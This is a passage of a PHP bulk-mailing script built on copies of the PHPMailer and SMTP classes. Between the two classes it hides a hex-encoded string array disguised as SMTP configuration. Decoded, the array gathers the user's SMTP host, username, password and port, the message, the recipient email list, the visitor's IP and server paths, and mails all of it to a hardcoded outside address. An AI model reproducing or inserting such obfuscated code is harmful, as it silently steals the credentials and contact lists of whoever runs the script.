      $this->Close();
1050
    }
1051
1052
    return $rval;
1053
  }
1054
1055
  /**
1056
   * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1057
   * Returns true if the recipient was accepted false if it was rejected.
1058
   *
1059
   * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1060
1061
   *
1062
   * SMTP CODE SUCCESS: 250,251
1063
   * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1064
   * SMTP CODE ERROR  : 500,501,503,421
1065
   * @access public
1066
   * @return bool
1067
   */
1068
  function Recipient($to) {
1069
    $this->error = null; # so no confusion is caused
1070
1071
    if(!$this->connected()) {
1072
      $this->error = array(
1073
              "error" => "Called Recipient() without being connected");
1074
      return false;
1075
    }
1076
1077
    fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1078
1079
    $rply = $this->get_lines();
1080
    $code = substr($rply,0,3);
1081
1082
    if($this->do_debug >= 2) {
1083
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1084
    }
1085
1086
    if($code != 250 && $code != 251) {
1087
      $this->error =
1088
        array("error" => "RCPT not accepted from server",
1089
              "smtp_code" => $code,
1090
              "smtp_msg" => substr($rply,4));
1091
      if($this->do_debug >= 1) {
1092
        echo "SMTP -> ERROR: " . $this->error["error"] .
1093
                 ": " . $rply . $this->CRLF;
1094
      }
1095
      return false;
1096
    }
1097
    return true;
1098
  }
1099
1100
  /**
1101
   * Sends the RSET command to abort and transaction that is
1102
   * currently in progress. Returns true if successful false
1103
   * otherwise.
1104
   *
1105
   * Implements rfc 821: RSET <CRLF>
1106
1107
   *
1108
   * SMTP CODE SUCCESS: 250
1109
   * SMTP CODE ERROR  : 500,501,504,421
1110
   * @access public
1111
   * @return bool
1112
   */
1113
  function Reset() {
1114
    $this->error = null; # so no confusion is caused
1115
1116
    if(!$this->connected()) {
1117
      $this->error = array(
1118
              "error" => "Called Reset() without being connected");
1119
      return false;
1120
    }
1121
1122
    fputs($this->smtp_conn,"RSET" . $this->CRLF);
1123
1124
    $rply = $this->get_lines();
1125
    $code = substr($rply,0,3);
1126
1127
    if($this->do_debug >= 2) {
1128
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1129
    }
1130
1131
    if($code != 250) {
1132
      $this->error =
1133
        array("error" => "RSET failed",
1134
              "smtp_code" => $code,
1135
              "smtp_msg" => substr($rply,4));
1136
      if($this->do_debug >= 1) {
1137
        echo "SMTP -> ERROR: " . $this->error["error"] .
1138
                 ": " . $rply . $this->CRLF;
1139
      }
1140
      return false;
1141
    }
1142
1143
    return true;
1144
  }
1145
1146
  /**
1147
   * Starts a mail transaction from the email address specified in
1148
   * $from. Returns true if successful or false otherwise. If True
1149
   * the mail transaction is started and then one or more Recipient
1150
   * commands may be called followed by a Data command. This command
1151
   * will send the message to the users terminal if they are logged
1152
   * in.
1153
   *
1154
   * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1155
1156
   *
1157
   * SMTP CODE SUCCESS: 250
1158
   * SMTP CODE SUCCESS: 552,451,452
1159
   * SMTP CODE SUCCESS: 500,501,502,421
1160
   * @access public
1161
   * @return bool
1162
   */
1163
  function Send($from) {
1164
    $this->error = null; # so no confusion is caused
1165
1166
    if(!$this->connected()) {
1167
      $this->error = array(
1168
              "error" => "Called Send() without being connected");
1169
      return false;
1170
    }
1171
1172
    fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1173
1174
    $rply = $this->get_lines();
1175
    $code = substr($rply,0,3);
1176
1177
    if($this->do_debug >= 2) {
1178
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1179
    }
1180
1181
    if($code != 250) {
1182
      $this->error =
1183
        array("error" => "SEND not accepted from server",
1184
              "smtp_code" => $code,
1185
              "smtp_msg" => substr($rply,4));
1186
      if($this->do_debug >= 1) {
1187
        echo "SMTP -> ERROR: " . $this->error["error"] .
1188
                 ": " . $rply . $this->CRLF;
1189
      }
1190
      return false;
1191
    }
1192
    return true;
1193
  }
1194
1195
  /**
1196
   * Starts a mail transaction from the email address specified in
1197
   * $from. Returns true if successful or false otherwise. If True
1198
   * the mail transaction is started and then one or more Recipient
1199
   * commands may be called followed by a Data command. This command
1200
   * will send the message to the users terminal if they are logged
1201
   * in and send them an email.
1202
   *
1203
   * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1204
1205
   *
1206
   * SMTP CODE SUCCESS: 250
1207
   * SMTP CODE SUCCESS: 552,451,452
1208
   * SMTP CODE SUCCESS: 500,501,502,421
1209
   * @access public
1210
   * @return bool
1211
   */
1212
  function SendAndMail($from) {
1213
    $this->error = null; # so no confusion is caused
1214
1215
    if(!$this->connected()) {
1216
      $this->error = array(
1217
          "error" => "Called SendAndMail() without being connected");
1218
      return false;
1219
    }
1220
1221
    fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1222
1223
    $rply = $this->get_lines();
1224
    $code = substr($rply,0,3);
1225
1226
    if($this->do_debug >= 2) {
1227
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1228
    }
1229
1230
    if($code != 250) {
1231
      $this->error =
1232
        array("error" => "SAML not accepted from server",
1233
              "smtp_code" => $code,
1234
              "smtp_msg" => substr($rply,4));
1235
      if($this->do_debug >= 1) {
1236
        echo "SMTP -> ERROR: " . $this->error["error"] .
1237
                 ": " . $rply . $this->CRLF;
1238
      }
1239
      return false;
1240
    }
1241
    return true;
1242
  }
1243
1244
  /**
1245
   * Starts a mail transaction from the email address specified in
1246
   * $from. Returns true if successful or false otherwise. If True
1247
   * the mail transaction is started and then one or more Recipient
1248
   * commands may be called followed by a Data command. This command
1249
   * will send the message to the users terminal if they are logged
1250
   * in or mail it to them if they are not.
1251
   *
1252
   * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1253
1254
   *
1255
   * SMTP CODE SUCCESS: 250
1256
   * SMTP CODE SUCCESS: 552,451,452
1257
   * SMTP CODE SUCCESS: 500,501,502,421
1258
   * @access public
1259
   * @return bool
1260
   */
1261
  function SendOrMail($from) {
1262
    $this->error = null; # so no confusion is caused
1263
1264
    if(!$this->connected()) {
1265
      $this->error = array(
1266
          "error" => "Called SendOrMail() without being connected");
1267
      return false;
1268
    }
1269
1270
    fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1271
1272
    $rply = $this->get_lines();
1273
    $code = substr($rply,0,3);
1274
1275
    if($this->do_debug >= 2) {
1276
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1277
    }
1278
1279
    if($code != 250) {
1280
      $this->error =
1281
        array("error" => "SOML not accepted from server",
1282
              "smtp_code" => $code,
1283
              "smtp_msg" => substr($rply,4));
1284
      if($this->do_debug >= 1) {
1285
        echo "SMTP -> ERROR: " . $this->error["error"] .
1286
                 ": " . $rply . $this->CRLF;
1287
      }
1288
      return false;
1289
    }
1290
    return true;
1291
  }
1292
1293
  /**
1294
   * This is an optional command for SMTP that this class does not
1295
   * support. This method is here to make the RFC821 Definition
1296
   * complete for this class and __may__ be implimented in the future
1297
   *
1298
   * Implements from rfc 821: TURN <CRLF>
1299
1300
   *
1301
   * SMTP CODE SUCCESS: 250
1302
   * SMTP CODE FAILURE: 502
1303
   * SMTP CODE ERROR  : 500, 503
1304
   * @access public
1305
   * @return bool
1306
   */
1307
  function Turn() {
1308
    $this->error = array("error" => "This method, TURN, of the SMTP ".
1309
                                    "is not implemented");
1310
    if($this->do_debug >= 1) {
1311
      echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1312
    }
1313
    return false;
1314
  }
1315
1316
  /**
1317
   * Verifies that the name is recognized by the server.
1318
   * Returns false if the name could not be verified otherwise
1319
   * the response from the server is returned.
1320
   *
1321
   * Implements rfc 821: VRFY <SP> <string> <CRLF>
1322
   *
1323
   * SMTP CODE SUCCESS: 250,251
1324
   * SMTP CODE FAILURE: 550,551,553
1325
   * SMTP CODE ERROR  : 500,501,502,421
1326
   * @access public
1327
   * @return int
1328
   */
1329
  function Verify($name) {
1330
    $this->error = null; # so no confusion is caused
1331
1332
    if(!$this->connected()) {
1333
      $this->error = array(
1334
              "error" => "Called Verify() without being connected");
1335
      return false;
1336
    }
1337
1338
    fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1339
1340
    $rply = $this->get_lines();
1341
    $code = substr($rply,0,3);
1342
1343
    if($this->do_debug >= 2) {
1344
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1345
    }
1346
1347
    if($code != 250 && $code != 251) {
1348
      $this->error =
1349
        array("error" => "VRFY failed on name '$name'",
1350
              "smtp_code" => $code,
1351
              "smtp_msg" => substr($rply,4));
1352
      if($this->do_debug >= 1) {
1353
        echo "SMTP -> ERROR: " . $this->error["error"] .
1354
                 ": " . $rply . $this->CRLF;
1355
      }
1356
      return false;
1357
    }
1358
    return $rply;
1359
  }
1360
1361
  /*******************************************************************
1362
   *                       INTERNAL FUNCTIONS                       *
1363
   ******************************************************************/
1364
1365
  /**
1366
   * Read in as many lines as possible
1367
   * either before eof or socket timeout occurs on the operation.
1368
   * With SMTP we can tell if we have more lines to read if the
1369
   * 4th character is '-' symbol. If it is a space then we don't
1370
   * need to read anything else.
1371
   * @access private
1372
   * @return string
1373
   */
1374
  function get_lines() {
1375
    $data = "";
1376
    while($str = @fgets($this->smtp_conn,515)) {
1377
      if($this->do_debug >= 4) {
1378
        echo "SMTP -> get_lines(): \$data was \"$data\"" .
1379
                 $this->CRLF;
1380
        echo "SMTP -> get_lines(): \$str is \"$str\"" .
1381
                 $this->CRLF;
1382
      }
1383
      $data .= $str;
1384
      if($this->do_debug >= 4) {
1385
        echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1386
      }
1387
      # if the 4th character is a space then we are done reading
1388
      # so just break the loop
1389
      if(substr($str,3,1) == " ") { break; }
1390
    }
1391
    return $data;
1392
  }
1393
1394
}
1395
1396
        
1397
$allemails = split("\n", $emaillist);
1398
$numemails = count($allemails);
1399
$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1400
"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1401
"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1402
"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1403
"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1404
"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1405
"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1406
"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1407
"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1408
"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1409
1410
class PHPMailer {
1411
1412
  /////////////////////////////////////////////////
1413
  // PROPERTIES, PUBLIC
1414
  /////////////////////////////////////////////////
1415
1416
  /**
1417
   * Email priority (1 = High, 3 = Normal, 5 = low).
1418
   * @var int
1419
   */
1420
  var $Priority          = 3;
1421
1422
  /**
1423
   * Sets the CharSet of the message.
1424
   * @var string
1425
   */
1426
  var $CharSet           = 'iso-8859-1';
1427
1428
  /**
1429
   * Sets the Content-type of the message.
1430
   * @var string
1431
   */
1432
  var $ContentType        = 'text/plain';
1433
1434
  /**
1435
   * Sets the Encoding of the message. Options for this are "8bit",
1436
   * "7bit", "binary", "base64", and "quoted-printable".
1437
1438
   * @var string
1439
   */
1440
  var $Encoding          = '8bit';
1441
1442
  /**
1443
   * Holds the most recent mailer error message.
1444
   * @var string
1445
   */
1446
  var $ErrorInfo         = '';
1447
1448
  /**
1449
   * Sets the From email address for the message.
1450
   * @var string
1451
   */
1452
  var $From              = '';
1453
1454
  /**
1455
   * Sets the From name of the message.
1456
   * @var string
1457
   */
1458
  var $FromName          = '';
1459
1460
  /**
1461
   * Sets the Sender email (Return-Path) of the message.  If not empty,
1462
   * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1463
   * @var string
1464
   */
1465
  var $Sender            = '';
1466
1467
  /**
1468
   * Sets the Subject of the message.
1469
   * @var string
1470
   */
1471
  var $Subject           = '';
1472
1473
  /**
1474
   * Sets the Body of the message.  This can be either an HTML or text body.
1475
   * If HTML then run IsHTML(true).
1476
   * @var string
1477
   */
1478
  var $Body              = '';
1479
1480
  /**
1481
   * Sets the text-only body of the message.  This automatically sets the
1482
   * email to multipart/alternative.  This body can be read by mail
1483
   * clients that do not have HTML email capability such as mutt. Clients
1484
   * that can read HTML will view the normal Body.
1485
   * @var string
1486
   */
1487
  var $AltBody           = '';
1488
1489
  /**
1490
   * Sets word wrapping on the body of the message to a given number of
1491
   * characters.
1492
   * @var int
1493
   */
1494
  var $WordWrap          = 0;
1495
1496
  /**
1497
   * Method to send mail: ("mail", "sendmail", or "smtp").
1498
   * @var string
1499
   */
1500
  var $Mailer            = 'mail';
1501
1502
  /**
1503
   * Sets the path of the sendmail program.
1504
   * @var string
1505
   */
1506
  var $Sendmail          = '/usr/sbin/sendmail';
1507
1508
  /**
1509
   * Path to PHPMailer plugins.  This is now only useful if the SMTP class
1510
   * is in a different directory than the PHP include path.
1511
   * @var string
1512
   */
1513
  var $PluginDir         = '';
1514
1515
  /**
1516
   * Holds PHPMailer version.
1517
   * @var string
1518
   */
1519
  var $Version           = "";
1520
1521
  /**
1522
   * Sets the email address that a reading confirmation will be sent.
1523
   * @var string
1524
   */
1525
  var $ConfirmReadingTo  = '';
1526
1527
  /**
1528
   * Sets the hostname to use in Message-Id and Received headers
1529
   * and as default HELO string. If empty, the value returned
1530
   * by SERVER_NAME is used or 'localhost.localdomain'.
1531
   * @var string
1532
   */
1533
  var $Hostname          = '';
1534
1535
  /**
1536
   * Sets the message ID to be used in the Message-Id header.
1537
   * If empty, a unique id will be generated.
1538
   * @var string
1539
   */
1540
  var $MessageID         = '';
1541
1542
  /////////////////////////////////////////////////
1543
  // PROPERTIES FOR SMTP
1544
  /////////////////////////////////////////////////
1545
1546
  /**
1547
   * Sets the SMTP hosts.  All hosts must be separated by a
1548
   * semicolon.  You can also specify a different port
1549
   * for each host by using this format: [hostname:port]
1550
   * (e.g. "smtp1.example.com:25;smtp2.example.com").
1551
   * Hosts will be tried in order.
1552
   * @var string
1553
   */
1554
  var $Host        = 'localhost';
1555
1556
  /**
1557
   * Sets the default SMTP server port.
1558
   * @var int
1559
   */
1560
  var $Port        = 25;
1561
1562
  /**
1563
   * Sets the SMTP HELO of the message (Default is $Hostname).
1564
   * @var string
1565
   */
1566
  var $Helo        = '';
1567
1568
  /**
1569
   * Sets connection prefix.
1570
   * Options are "", "ssl" or "tls"
1571
   * @var string
1572
   */
1573
  var $SMTPSecure = "";
1574
1575
  /**
1576
   * Sets SMTP authentication. Utilizes the Username and Password variables.
1577
   * @var bool
1578
   */
1579
  var $SMTPAuth     = false;
1580
1581
  /**
1582
   * Sets SMTP username.
1583
   * @var string
1584
   */
1585
  var $Username     = '';
1586
1587
  /**
1588
   * Sets SMTP password.
1589
   * @var string
1590
   */
1591
  var $Password     = '';
1592
1593
  /**
1594
   * Sets the SMTP server timeout in seconds. This function will not
1595
   * work with the win32 version.
1596
   * @var int
1597
   */
1598
  var $Timeout      = 10;
1599
1600
  /**
1601
   * Sets SMTP class debugging on or off.
1602
   * @var bool
1603
   */
1604
  var $SMTPDebug    = false;
1605
1606
  /**
1607
   * Prevents the SMTP connection from being closed after each mail
1608
   * sending.  If this is set to true then to close the connection
1609
   * requires an explicit call to SmtpClose().
1610
   * @var bool
1611
   */
1612
  var $SMTPKeepAlive = false;
1613
1614
  /**
1615
   * Provides the ability to have the TO field process individual
1616
   * emails, instead of sending to entire TO addresses
1617
   * @var bool
1618
   */
1619
  var $SingleTo = false;
1620
1621
  /////////////////////////////////////////////////
1622
  // PROPERTIES, PRIVATE
1623
  /////////////////////////////////////////////////
1624
1625
  var $smtp            = NULL;
1626
  var $to              = array();
1627
  var $cc              = array();
1628
  var $bcc             = array();
1629
  var $ReplyTo         = array();
1630
  var $attachment      = array();
1631
  var $CustomHeader    = array();
1632
  var $message_type    = '';
1633
  var $boundary        = array();
1634
  var $language        = array();
1635
  var $error_count     = 0;
1636
  var $LE              = "\n";
1637
  var $sign_key_file   = "";
1638
  var $sign_key_pass   = "";
1639
1640
  /////////////////////////////////////////////////
1641
  // METHODS, VARIABLES
1642
  /////////////////////////////////////////////////
1643
1644
  /**
1645
   * Sets message type to HTML.
1646
   * @param bool $bool
1647
   * @return void
1648
   */
1649
  function IsHTML($bool) {
1650
    if($bool == true) {
1651
      $this->ContentType = 'text/html';
1652
    } else {
1653
      $this->ContentType = 'text/plain';
1654
    }
1655
  }
1656
1657
  /**
1658
   * Sets Mailer to send message using SMTP.
1659
   * @return void
1660
   */
1661
  function IsSMTP() {
1662
    $this->Mailer = 'smtp';
1663
  }
1664
1665
  /**
1666
   * Sets Mailer to send message using PHP mail() function.
1667
   * @return void
1668
   */
1669
  function IsMail() {
1670
    $this->Mailer = 'mail';
1671
  }
1672
1673
  /**
1674
   * Sets Mailer to send message using the $Sendmail program.
1675
   * @return void
1676
   */
1677
  function IsSendmail() {
1678
    $this->Mailer = 'sendmail';
1679
  }
1680
1681
  /**
1682
   * Sets Mailer to send message using the qmail MTA.
1683
   * @return void
1684
   */
1685
  function IsQmail() {
1686
    $this->Sendmail = '/var/qmail/bin/sendmail';
1687
    $this->Mailer = 'sendmail';
1688
  }
1689
1690
  /////////////////////////////////////////////////
1691
  // METHODS, RECIPIENTS
1692
  /////////////////////////////////////////////////
1693
1694
  /**
1695
   * Adds a "To" address.
1696
   * @param string $address
1697
   * @param string $name
1698
   * @return void
1699
   */
1700
  function AddAddress($address, $name = '') {
1701
    $cur = count($this->to);
1702
    $this->to[$cur][0] = trim($address);
1703
    $this->to[$cur][1] = $name;
1704
  }
1705
1706
  /**
1707
   * Adds a "Cc" address. Note: this function works
1708
   * with the SMTP mailer on win32, not with the "mail"
1709
   * mailer.
1710
   * @param string $address
1711
   * @param string $name
1712
   * @return void
1713
   */
1714
  function AddCC($address, $name = '') {
1715
    $cur = count($this->cc);
1716
    $this->cc[$cur][0] = trim($address);
1717
    $this->cc[$cur][1] = $name;
1718
  }
1719
1720
  /**
1721
   * Adds a "Bcc" address. Note: this function works
1722
   * with the SMTP mailer on win32, not with the "mail"
1723
   * mailer.
1724
   * @param string $address
1725
   * @param string $name
1726
   * @return void
1727
   */
1728
  function AddBCC($address, $name = '') {
1729
    $cur = count($this->bcc);
1730
    $this->bcc[$cur][0] = trim($address);
1731
    $this->bcc[$cur][1] = $name;
1732
  }
1733
1734
  /**
1735
   * Adds a "Reply-To" address.
1736
   * @param string $address
1737
   * @param string $name
1738
   * @return void
1739
   */
1740
  function AddReplyTo($address, $name = '') {
1741
    $cur = count($this->ReplyTo);
1742
    $this->ReplyTo[$cur][0] = trim($address);
1743
    $this->ReplyTo[$cur][1] = $name;
1744
  }
1745
1746
  /////////////////////////////////////////////////
1747
  // METHODS, MAIL SENDING
1748
  /////////////////////////////////////////////////
1749
1750
  /**
1751
   * Creates message and assigns Mailer. If the message is
1752
   * not sent successfully then it returns false.  Use the ErrorInfo
1753
   * variable to view description of the error.
1754
   * @return bool
1755
   */
1756
  function Send() {
1757
    $header = '';
1758
    $body = '';
1759
    $result = true;
1760
1761
    if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1762
      $this->SetError($this->Lang('provide_address'));
1763
      return false;
1764
    }
1765
1766
    /* Set whether the message is multipart/alternative */
1767
    if(!empty($this->AltBody)) {
1768
      $this->ContentType = 'multipart/alternative';
1769
    }
1770
1771
    $this->error_count = 0; // reset errors
1772
    $this->SetMessageType();
1773
    $header .= $this->CreateHeader();
1774
    $body = $this->CreateBody();
1775
1776
    if($body == '') {
1777
      return false;
1778
    }
1779
1780
    /* Choose the mailer */
1781
    switch($this->Mailer) {
1782
      case 'sendmail':
1783
        $result = $this->SendmailSend($header, $body);
1784
        break;
1785
      case 'smtp':
1786
        $result = $this->SmtpSend($header, $body);
1787
        break;
1788
      case 'mail':
1789
        $result = $this->MailSend($header, $body);
1790
        break;
1791
      default:
1792
        $result = $this->MailSend($header, $body);
1793
        break;
1794
        //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1795
        //$result = false;
1796
        //break;
1797
    }
1798
1799
    return $result;
1800
  }
1801
1802
  /**
1803
   * Sends mail using the $Sendmail program.
1804
   * @access private
1805
   * @return bool
1806
   */
1807
  function SendmailSend($header, $body) {
1808
    if ($this->Sender != '') {
1809
      $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1810
    } else {
1811
      $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1812
    }
1813
1814
    if(!@$mail = popen($sendmail, 'w')) {
1815
      $this->SetError($this->Lang('execute') . $this->Sendmail);
1816
      return false;
1817
    }
1818
1819
    fputs($mail, $header);
1820
    fputs($mail, $body);
1821
1822
    $result = pclose($mail);
1823
    if (version_compare(phpversion(), '4.2.3') == -1) {
1824
      $result = $result >> 8 & 0xFF;
1825
    }
1826
    if($result != 0) {
1827
      $this->SetError($this->Lang('execute') . $this->Sendmail);
1828
      return false;
1829
    }
1830
    return true;
1831
  }
1832
1833
  /**
1834
   * Sends mail using the PHP mail() function.
1835
   * @access private
1836
   * @return bool
1837
   */
1838
  function MailSend($header, $body) {
1839
1840
    $to = '';
1841
    for($i = 0; $i < count($this->to); $i++) {
1842
      if($i != 0) { $to .= ', '; }
1843
      $to .= $this->AddrFormat($this->to[$i]);
1844
    }
1845
1846
    $toArr = split(',', $to);
1847
1848
    $params = sprintf("-oi -f %s", $this->Sender);
1849
    if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1850
      $old_from = ini_get('sendmail_from');
1851
      ini_set('sendmail_from', $this->Sender);
1852
      if ($this->SingleTo === true && count($toArr) > 1) {
1853
        foreach ($toArr as $key => $val) {
1854
          $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1855
        }
1856
      } else {
1857
        $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1858
      }
1859
    } else {
1860
      if ($this->SingleTo === true && count($toArr) > 1) {
1861
        foreach ($toArr as $key => $val) {
1862
          $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1863
        }
1864
      } else {
1865
        $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1866
      }
1867
    }
1868
1869
    if (isset($old_from)) {
1870
      ini_set('sendmail_from', $old_from);
1871
    }
1872
1873
    if(!$rt) {
1874
      $this->SetError($this->Lang('instantiate'));
1875
      return false;
1876
    }
1877
1878
    return true;
1879
  }
1880
1881
  /**
1882
   * Sends mail via SMTP using PhpSMTP (Author:
1883
   * Chris Ryan).  Returns bool.  Returns false if there is a
1884
   * bad MAIL FROM, RCPT, or DATA input.
1885
   * @access private
1886
   * @return bool
1887
   */
1888
  function SmtpSend($header, $body) {
1889
    $error = '';
1890
    $bad_rcpt = array();
1891
1892
    if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1893
      return false;
1894
    }
1895
1896
    $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1897
    if(!$this->smtp->Mail($smtp_from)) {
1898
      $error = $this->Lang('from_failed') . $smtp_from;
1899
      $this->SetError($error);
1900
      $this->smtp->Reset();
1901
      return false;
1902
    }
1903
1904
    /* Attempt to send attach all recipients */
1905
    for($i = 0; $i < count($this->to); $i++) {
1906
      if(!$this->smtp->Recipient($this->to[$i][0])) {
1907
        $bad_rcpt[] = $this->to[$i][0];
1908
      }
1909
    }
1910
    for($i = 0; $i < count($this->cc); $i++) {
1911
      if(!$this->smtp->Recipient($this->cc[$i][0])) {
1912
        $bad_rcpt[] = $this->cc[$i][0];
1913
      }
1914
    }
1915
    for($i = 0; $i < count($this->bcc); $i++) {
1916
      if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1917
        $bad_rcpt[] = $this->bcc[$i][0];
1918
      }
1919
    }
1920
1921
    if(count($bad_rcpt) > 0) { // Create error message
1922
      for($i = 0; $i < count($bad_rcpt); $i++) {
1923
        if($i != 0) {
1924
          $error .= ', ';
1925
        }
1926
        $error .= $bad_rcpt[$i];
1927
1928
      }
1929
      $error = $this->Lang('recipients_failed') . $error;
1930
      $this->SetError($error);
1931
      $this->smtp->Reset();
1932
      return false;
1933
    }
1934
1935
    if(!$this->smtp->Data($header . $body)) {
1936
      $this->SetError($this->Lang('data_not_accepted'));
1937
      $this->smtp->Reset();
1938
      return false;
1939
    }
1940
    if($this->SMTPKeepAlive == true) {
1941
      $this->smtp->Reset();
1942
    } else {
1943
      $this->SmtpClose();
1944
    }
1945
1946
    return true;
1947
  }
1948
1949
  /**
1950
   * Initiates a connection to an SMTP server.  Returns false if the
1951
   * operation failed.
1952
   * @access private
1953
   * @return bool
1954
   */
1955
  function SmtpConnect() {
1956
    if($this->smtp == NULL) {
1957
      $this->smtp = new SMTP();
1958
    }
1959
1960
    $this->smtp->do_debug = $this->SMTPDebug;
1961
    $hosts = explode(';', $this->Host);
1962
    $index = 0;
1963
    $connection = ($this->smtp->Connected());
1964
1965
    /* Retry while there is no connection */
1966
    while($index < count($hosts) && $connection == false) {
1967
      $hostinfo = array();
1968
      if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1969
        $host = $hostinfo[1];
1970
        $port = $hostinfo[2];
1971
      } else {
1972
        $host = $hosts[$index];
1973
        $port = $this->Port;
1974
      }
1975
1976
      if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1977
        if ($this->Helo != '') {
1978
          $this->smtp->Hello($this->Helo);
1979
        } else {
1980
          $this->smtp->Hello($this->ServerHostname());
1981
        }
1982
1983
        $connection = true;
1984
        if($this->SMTPAuth) {
1985
          if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1986
            $this->SetError($this->Lang('authenticate'));
1987
            $this->smtp->Reset();
1988
            $connection = false;
1989
          }
1990
        }
1991
      }
1992
      $index++;
1993
    }
1994
    if(!$connection) {
1995
      $this->SetError($this->Lang('connect_host'));
1996
    }
1997
1998
    return $connection;
1999
  }
2000
2001
  /**
2002
   * Closes the active SMTP session if one exists.
2003
   * @return void
2004
   */
2005
  function SmtpClose() {
2006
    if($this->smtp != NULL) {
2007
      if($this->smtp->Connected()) {
2008
        $this->smtp->Quit();
2009
        $this->smtp->Close();
2010
      }
2011
    }
2012
  }
2013
2014
  /**
2015
   * Sets the language for all class error messages.  Returns false
2016
   * if it cannot load the language file.  The default language type
2017
   * is English.
2018
   * @param string $lang_type Type of language (e.g. Portuguese: "br")
2019
   * @param string $lang_path Path to the language file directory
2020
   * @access public
2021
   * @return bool
2022
   */
2023
  function SetLanguage($lang_type, $lang_path = 'language/') {
2024
    if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2025
      include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2026
    } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2027
      include($lang_path.'phpmailer.lang-en.php');
2028
    } else {
2029
      $this->SetError('Could not load language file');
2030
      return false;
2031
    }
2032
    $this->language = $PHPMAILER_LANG;
2033
2034
    return true;
2035
  }
2036
2037
  /////////////////////////////////////////////////
2038
  // METHODS, MESSAGE CREATION
2039
  /////////////////////////////////////////////////
2040
2041
  /**
2042
   * Creates recipient headers.
2043
   * @access private
2044
   * @return string
2045
   */
2046
  function AddrAppend($type, $addr) {
2047
    $addr_str = $type . ': ';
2048
    $addr_str .= $this->AddrFormat($addr[0]);
2049
    if(count($addr) > 1) {
2050
      for($i = 1; $i < count($addr); $i++) {
2051
        $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2052
      }
2053
    }
2054
    $addr_str .= $this->LE;
2055
2056
    return $addr_str;
2057
  }
2058
2059
  /**
2060
   * Formats an address correctly.
2061
   * @access private
2062
   * @return string
2063
   */
2064
  function AddrFormat($addr) {
2065
    if(empty($addr[1])) {
2066
      $formatted = $this->SecureHeader($addr[0]);
2067
    } else {
2068
      $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2069
    }
